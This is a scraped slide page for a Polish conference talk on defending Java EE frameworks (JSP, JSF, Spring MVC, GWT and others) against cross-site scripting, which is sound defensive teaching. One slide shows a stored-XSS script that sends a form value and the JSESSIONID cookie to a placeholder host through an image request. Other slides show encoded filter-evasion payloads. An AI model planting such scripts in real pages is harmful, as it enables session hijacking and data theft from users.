W3 Total Cache - skuteczne przyśpieszanie WordPressaW3 Total Cache - skuteczne przyśpieszanie WordPressa
W3 Total Cache - skuteczne przyśpieszanie WordPressaBartosz Romanowski
 
Błędy userów, niedoróbki koderów
Błędy userów, niedoróbki koderówBłędy userów, niedoróbki koderów
Błędy userów, niedoróbki koderówArkadiusz Stęplowski
 
Prostota i mozliwosci symfony2
Prostota i mozliwosci symfony2Prostota i mozliwosci symfony2
Prostota i mozliwosci symfony2Natalia Stanko
 
WebDeveloper - Yesterday, Today, Tomorrow
WebDeveloper - Yesterday, Today, TomorrowWebDeveloper - Yesterday, Today, Tomorrow
WebDeveloper - Yesterday, Today, TomorrowMarcin Dembowski
 
10 przykazań bezpiecznego programowania
10 przykazań bezpiecznego programowania10 przykazań bezpiecznego programowania
10 przykazań bezpiecznego programowaniaSecuRing
 
4Developers 2015: 10 przykazań bezpiecznego kodowania - Wojciech Dworakowski
4Developers 2015: 10 przykazań bezpiecznego kodowania - Wojciech Dworakowski4Developers 2015: 10 przykazań bezpiecznego kodowania - Wojciech Dworakowski
4Developers 2015: 10 przykazań bezpiecznego kodowania - Wojciech DworakowskiPROIDEA
 
Owasp Top10 2010 RC1 PL
Owasp Top10 2010 RC1 PLOwasp Top10 2010 RC1 PL
Owasp Top10 2010 RC1 PLThink Secure
 
HTML5 - now or later
HTML5 - now or laterHTML5 - now or later
HTML5 - now or laterKasia Drzyzga
 
Jak ładujemy skrypty JS i jakie ma to znaczenie?
Jak ładujemy skrypty JS i jakie ma to znaczenie?Jak ładujemy skrypty JS i jakie ma to znaczenie?
Jak ładujemy skrypty JS i jakie ma to znaczenie?BarbaraGacaTworek
 
Daj się wyręczyć - Joomla Day Polska 2014
Daj się wyręczyć - Joomla Day Polska 2014Daj się wyręczyć - Joomla Day Polska 2014
Daj się wyręczyć - Joomla Day Polska 2014Tomasz Dziuda
 
Nowości w zakresie bezpieczeństwa w SQL Server 2016
Nowości w zakresie bezpieczeństwa w SQL Server 2016Nowości w zakresie bezpieczeństwa w SQL Server 2016
Nowości w zakresie bezpieczeństwa w SQL Server 2016Kamil Nowinski
 
ansible kmonticolo bezlogo
ansible kmonticolo bezlogoansible kmonticolo bezlogo
ansible kmonticolo bezlogoKamil Monticolo
 
Metaprogramowanie w JS
Metaprogramowanie w JSMetaprogramowanie w JS
Metaprogramowanie w JSDawid Rusnak
 
[Confidence 2016] Red Team - najlepszy przyjaciel Blue Teamu
[Confidence 2016] Red Team - najlepszy przyjaciel Blue Teamu[Confidence 2016] Red Team - najlepszy przyjaciel Blue Teamu
[Confidence 2016] Red Team - najlepszy przyjaciel Blue TeamuPiotr Kaźmierczak
 

Similar to 4Developers 2015: Frameworki jee vs cross-site scripting (xss) - Piotr Bucki (20)

Pocałunek śmierci
Pocałunek śmierciPocałunek śmierci
Pocałunek śmierci
 
Testowanie bezpieczenstwa aplikacji mobilnych
Testowanie bezpieczenstwa aplikacji mobilnychTestowanie bezpieczenstwa aplikacji mobilnych
Testowanie bezpieczenstwa aplikacji mobilnych
 
W3 Total Cache - skuteczne przyśpieszanie WordPressa
W3 Total Cache - skuteczne przyśpieszanie WordPressaW3 Total Cache - skuteczne przyśpieszanie WordPressa
W3 Total Cache - skuteczne przyśpieszanie WordPressa
 
Błędy userów, niedoróbki koderów
Błędy userów, niedoróbki koderówBłędy userów, niedoróbki koderów
Błędy userów, niedoróbki koderów
 
Prostota i mozliwosci symfony2
Prostota i mozliwosci symfony2Prostota i mozliwosci symfony2
Prostota i mozliwosci symfony2
 
Iron Python I Dlr
Iron Python I DlrIron Python I Dlr
Iron Python I Dlr
 
WebDeveloper - Yesterday, Today, Tomorrow
WebDeveloper - Yesterday, Today, TomorrowWebDeveloper - Yesterday, Today, Tomorrow
WebDeveloper - Yesterday, Today, Tomorrow
 
10 przykazań bezpiecznego programowania
10 przykazań bezpiecznego programowania10 przykazań bezpiecznego programowania
10 przykazań bezpiecznego programowania
 
4Developers 2015: 10 przykazań bezpiecznego kodowania - Wojciech Dworakowski
4Developers 2015: 10 przykazań bezpiecznego kodowania - Wojciech Dworakowski4Developers 2015: 10 przykazań bezpiecznego kodowania - Wojciech Dworakowski
4Developers 2015: 10 przykazań bezpiecznego kodowania - Wojciech Dworakowski
 
Owasp Top10 2010 RC1 PL
Owasp Top10 2010 RC1 PLOwasp Top10 2010 RC1 PL
Owasp Top10 2010 RC1 PL
 
HTML5 - now or later
HTML5 - now or laterHTML5 - now or later
HTML5 - now or later
 
Jak ładujemy skrypty JS i jakie ma to znaczenie?
Jak ładujemy skrypty JS i jakie ma to znaczenie?Jak ładujemy skrypty JS i jakie ma to znaczenie?
Jak ładujemy skrypty JS i jakie ma to znaczenie?
 
Daj się wyręczyć - Joomla Day Polska 2014
Daj się wyręczyć - Joomla Day Polska 2014Daj się wyręczyć - Joomla Day Polska 2014
Daj się wyręczyć - Joomla Day Polska 2014
 
BlackHat Analytics
BlackHat AnalyticsBlackHat Analytics
BlackHat Analytics
 
Nowości w zakresie bezpieczeństwa w SQL Server 2016
Nowości w zakresie bezpieczeństwa w SQL Server 2016Nowości w zakresie bezpieczeństwa w SQL Server 2016
Nowości w zakresie bezpieczeństwa w SQL Server 2016
 
Web Cache
Web CacheWeb Cache
Web Cache
 
Android i REST
Android i RESTAndroid i REST
Android i REST
 
ansible kmonticolo bezlogo
ansible kmonticolo bezlogoansible kmonticolo bezlogo
ansible kmonticolo bezlogo
 
Metaprogramowanie w JS
Metaprogramowanie w JSMetaprogramowanie w JS
Metaprogramowanie w JS
 
[Confidence 2016] Red Team - najlepszy przyjaciel Blue Teamu
[Confidence 2016] Red Team - najlepszy przyjaciel Blue Teamu[Confidence 2016] Red Team - najlepszy przyjaciel Blue Teamu
[Confidence 2016] Red Team - najlepszy przyjaciel Blue Teamu
 

4Developers 2015: Frameworki jee vs cross-site scripting (xss) - Piotr Bucki

  • 1. Frameworki JEE vs cross-site scripting (XSS)
  • 2. O mnie •14 lat doświadczenia w systemach WEB •Developer, Technical Leader, Project Manager •Java/JEE •(ISC)2 CISSP •CTO w J-LABS
  • 4. Dygresja Jak sądzicie ilu developerów aplikacji WEB wie co to jest XSS?
  • 5. Dygresja Jak sądzicie ilu developerów aplikacji WEB wie co to jest XSS? •…50% wie…
  • 6. Dygresja Jak sądzicie ilu developerów aplikacji WEB wie co to jest XSS? •…50% wie… •…z nich 50% wie jak się zabezpieczyć
  • 7. Dygresja 2 A jak się sobie radzicie z XSS w waszym projekcie?
  • 8. Dygresja 2 A jak się sobie radzicie z XSS w waszym projekcie? •„Mamy bibliotekę / framework XXX, który nas przed tym chroni”
  • 9. Dygresja 2 A jak się sobie radzicie z XSS w waszym projekcie? •„Mamy bibliotekę / framework XXX, który nas przed tym chroni” •„W sumie to nie wiem, ale chyba NIC nie robimy”
  • 10. Dygresja 2 A jak się sobie radzicie z XSS w waszym projekcie? •„Mamy bibliotekę / framework XXX, który nas przed tym chroni” •„W sumie to nie wiem, ale chyba NIC nie robimy” •„Zadbał o to nasz tech/team leader wiec ja nie musze nic robić”
  • 11.
  • 13. XSS - definicja •Dotyczy serwisów WWW •Wykonanie skryptu JavaScript •… ale także ActiveX, Flash czy Silverlight •Wykonanie w przeglądarce
  • 16. Non-persistent (reflected) Kod przesyłany przez atakującego do ofiary (np. w URL)
  • 18. Co się stało •Persistent XSS – ukryty w opisie Opis <script type='text/javascript'> function doNastyThing() { var inputField = getinputField(); var secretValue = 'amount=' + inputField.value + '_' + readCookie('JSESSIONID'); var path = 'http://host/file_' + secretValue + '.jpg'; httpGet(path); } function httpGet(path) { var xmlHttp = new XMLHttpRequest(); xmlHttp.open('GET', path, false); } . . . </script> dalszy opis...
  • 19. Co się stało •Dane przesłane jako próba wczytania JPG http://www.j-labs.pl/file_amount=47_ JSESSIONID=AS348AF929FK219CKA9FK3B79870H.jpg
  • 20. Jak może być groźny XSS •OWASP top 10 miejsce 3
  • 21. Jak może być groźny XSS •OWASP top 10 miejsce 3 •Pozwala na: •kradzież, zmianę cookies •przejecie sesji •kradzież konta •zmiana zawartości strony •odczyt zawartości strony – kradzież danych •ataki DOS •itd..
  • 22. Jak może być groźny XSS •OWASP top 10 miejsce 3 •SamyWorm, 2005: •używający XSS, •w 24h zainfekował milion profili w MySpace. •Pozwala na: •kradzież, zmianę cookies •przejecie sesji •kradzież konta •zmiana zawartości strony •odczyt zawartości strony – kradzież danych •ataki DOS •itd..
  • 25. Jak się zabezpieczyć •Filtrowanie danych wejściowych? •Escapowanie danych wyświetlanych?
  • 26. Filtrowanie danych wejściowych? •Co z np. <IMG SRC=j&#X41vascript:alert('test2')> ? <IMG SRC=&#106;&#97;&#118;&#97;&#115;&#99;&#114;&#105;&#112;&#116; &#58;&#97;&#108;&#101;&#114;&#116;&#40;&#39;&#88;&#83;&#83;&#39;&#41;>
  • 27. Filtrowanie danych wejściowych? •Co z np. <IMG SRC=j&#X41vascript:alert('test2')> ? <IMG SRC=&#106;&#97;&#118;&#97;&#115;&#99;&#114;&#105;&#112;&#116; &#58;&#97;&#108;&#101;&#114;&#116;&#40;&#39;&#88;&#83;&#83;&#39;&#41;> •A jeśli użytkownicy chcą wpisywać dowolne znaki?
  • 28. Filtrowanie danych wejściowych? •Co z np. <IMG SRC=j&#X41vascript:alert('test2')> ? <IMG SRC=&#106;&#97;&#118;&#97;&#115;&#99;&#114;&#105;&#112;&#116; &#58;&#97;&#108;&#101;&#114;&#116;&#40;&#39;&#88;&#83;&#83;&#39;&#41;> •Co z systemami powiązanymi? •A jeśli użytkownicy chcą wpisywać dowolne znaki?
  • 29. Filtrowanie danych wejściowych? •Co z np. <IMG SRC=j&#X41vascript:alert('test2')> ? <IMG SRC=&#106;&#97;&#118;&#97;&#115;&#99;&#114;&#105;&#112;&#116; &#58;&#97;&#108;&#101;&#114;&#116;&#40;&#39;&#88;&#83;&#83;&#39;&#41;> •Co z systemami powiązanymi? •Połączone podatności np. ‘<‘ || ‘scr‘ || ‘ipt>‘ •A jeśli użytkownicy chcą wpisywać dowolne znaki?
  • 31. Filtrowanie danych wejściowych? •Filtrować czy nie? Jest sens? •TAK •walidacja danych, poprawność danych •utrudniamy ataki nie tylko XSS
  • 32. Escapowanie & → &amp; < → &lt; > → &gt; ” → &quot; ’ → &apos;
  • 33. Escapowanie •Komunikaty o błędach •E-maile w HTMLu •Escapowanie do odpowiedniego kontekstu: JavaSrcipt, CSS, HTML
  • 34. Sanityzacja •Czyli escapowanie na wejściu •… oraz &amp; &lt; &gt; &quot; w bazie danych
  • 36. Zawansowane techniki HTML → DOM White list - tylko dozwolone tagi DOM → HTML
  • 38. HDIV •http://www.hdiv.org/ •Wspiera Strutsy 1.x, 2.x, Spring MVC, JSF •Własne tagi dla różnych frameworków
  • 40. OWASP AntiSamy •http://code.google.com/p/owaspantisamy/ •White list •Maven2 org.owasp.antisamy:antisamy •Parsuje HTML do DOM
  • 41. OWASP ESAPI •Zawansowane narzędzie - nie tylko XSS •Słaba dokumentacja •Maven2 org.owasp.esapi:esapi
  • 42. Zabezpieczanie - zasady ogólne •Zabezpieczenie to rola developera
  • 43. Zabezpieczanie - zasady ogólne •Zabezpieczenie to rola developera •White list •Wszystkie wejścia do systemu: •formatki, •nagłówki, •ciasteczka, •systemy zewnętrzne (WS, RMI, Corba, JMS itd.), •import/upload plików •Ustawić kodowanie dla stron
  • 44. Zabezpieczanie - zasady ogólne •Walidacja po stronie serwera •Bug traq – weryfikacja podatności frameworka •Escapowanie wszędzie – także na stronach opisujących błędy (częsty wektor ataku) •Mechanizmy frameworka (np. tagliby) •nie scriptlety •Escapowanie do odpowiedniego kontekstu (HTML, CSS, JavaScript)
  • 46. JSP •NIE używać skryptletów <%= pageContext.getAttribute("myTest") %> <%= request.getParameter("username") %> •NIE używać JSP expressions poza tagami ${someValue} •Używać c.out i podobnych <c:out value="${book.title}"/>
  • 47. Struts •Zasady jak dla JSP •Struts 1 – bean:write <bean:write name="name" property="prop"/> •Struts 2 – c:out, s:property <c:out value="${book.title}"/> <s:property value="message"/>
  • 48. JSF •Używać: <h:outputText/> i <h:outputLabel/> <h:outputLink value="#{bean.prop}" /> •Poza tagami #{user.text} jest bezpieczny dla JSF >= 2.0 •Kontrolki (ver. 1.2) nie są escapowane •atrybut image <h:commandButton> •atrybut src <h:graphicImage>
  • 50. GWT •Uwaga na kontrolki – nie ma escapowania: •z metodami: setInnerHTML, setHTML •typu HTML • setText i setInnerText są bezpieczne •Trzeba być czujnym
  • 51. GWT – safehtml • com.google.gwt.safehtml do sanityzacji i escepowania •Wspiera •sanityzację HTMLi (SimpleHtmlSanitizer) •budowanie bezpiecznych HTML'i (SafeHtmlBuilder) •bezpieczne templaty (SafeHtmlTemplates) •metody do escapowania „ręcznego” (SafeHtmlUtils)
  • 52. Vaadin Bazuje na GWT więc zasady jak dla GWT
  • 53. Tapestry „Tapestry does a great job on these issue; XSS is virtually impossible, as all output generated by Tapestry is "filtered" unless you specifically ask Tapestry not to” (http://tapestryjava.blogspot.com/2009/02/better-web- framework-tapestrys-response.html). •Bezpieczne ${message} <t:output format="defaultFormat" value="message"/> •Nie bezpieczne <t:output format=„format" value=„msg" filter="false"/> <t:outputRaw value="message"/>
  • 54. Stripes •Zasady jak dla JSP •XSSInterceptor (Servlet API Filter) •Escapuje przychodzące dane •Może czasem – nie używałbym
  • 55. Spring MVC •Default escape - false •Włączenie globalne w web.xml <web-app ...> <context-param> <param-name>defaultHtmlEscape</param-name> <param-value>true</param-value> </context-param> ... </web-app> •Włączenie na stronie <spring:htmlEscape defaultHtmlEscape="true" />
  • 56. Wicket •Automatyczne zabezpieczenie poprzez escapowanie danych wprowadzonych przez użytkownika •Dużo podatności (wersja jest ważna)
  • 58. Podatności w frameworkach - przykłady •Struts na „error page” (brak escapowania) w 1.2.7, 1.2.4, 1.1, 1.0.x i ponownie <2.2.3. • „Apache Struts 2 framework before version 2.2.3 is vulnerable to reflected cross site scripting attacks when default XWork generated error messages are displayed. „ • Wiecej: http://www.cvedetails.com/vulnerability-list/vendor_id- 45/product_id-6117/Apache-Struts.html •JSF – MyFaces • „Remote exploitation of an input validation vulnerability in Apache Software Foundation's MyFaces Tomahawk JSF framework could allow an attacker to perform a cross-site scripting (XSS) attack.”
  • 59. Podatności w frameworkach - przykłady •Wicket, wersja 1.4.x • „With multi window support application configuration and special query parameters it is possible to execute any kind of JavaScript on a site running with the affected versions. 1.4.x.” •Vaadin, wersja <6.4.9 • „Cross-site scripting (XSS) vulnerability in Vaadin before 6.4.9 allows remote attackers to inject arbitrary web script or HTML via unknown vectors related to the index page.”
  • 60. Linkowisko • http://www.howtocreate.co.uk/crosssite.html • https://www.owasp.org/index.php/DOM_Based_XSS • https://www.owasp.org/index.php/Top_10_2010-Main • http://en.wikipedia.org/wiki/Character_encodings_in_HTML • http://en.wikipedia.org/wiki/HTML_sanitization • http://owasp-esapi-java.googlecode.com/svn/trunk_doc/latest/org/owasp/esapi/Encoder.html • http://owasp-esapi-java.googlecode.com/svn/trunk_doc/latest/org/owasp/esapi/Validator.html • http://stackoverflow.com/questions/7771949/cout-nested-inside-element-attribute • https://www.owasp.org/images/b/be/A_Gap_Analysis_of_Application_Security_in_Struts2.pdf • http://www.mkyong.com/jsf2/jsf-2-outputtext-example/ • http://stackoverflow.com/questions/4430743/what-are-the-security-concerns-for-jsf • http://seamframework.org/Documentation/CrossSiteScripting • http://docs.jboss.com/seam/latest/reference/en-US/html/text.html • http://code.google.com/p/gwt-examples/wiki/SafeHtml • http://www.javabeat.net/examples/2010/11/30/spring-html-escape-and-escape-body-tags- springhtmlescape-and-springescapebody/ • http://www.hacktics.com/fradvisories2.html • http://wiki.apache.org/struts/StrutsXssVulnerability • https://www.owasp.org/index.php/Cross-site_Scripting_%28XSS%29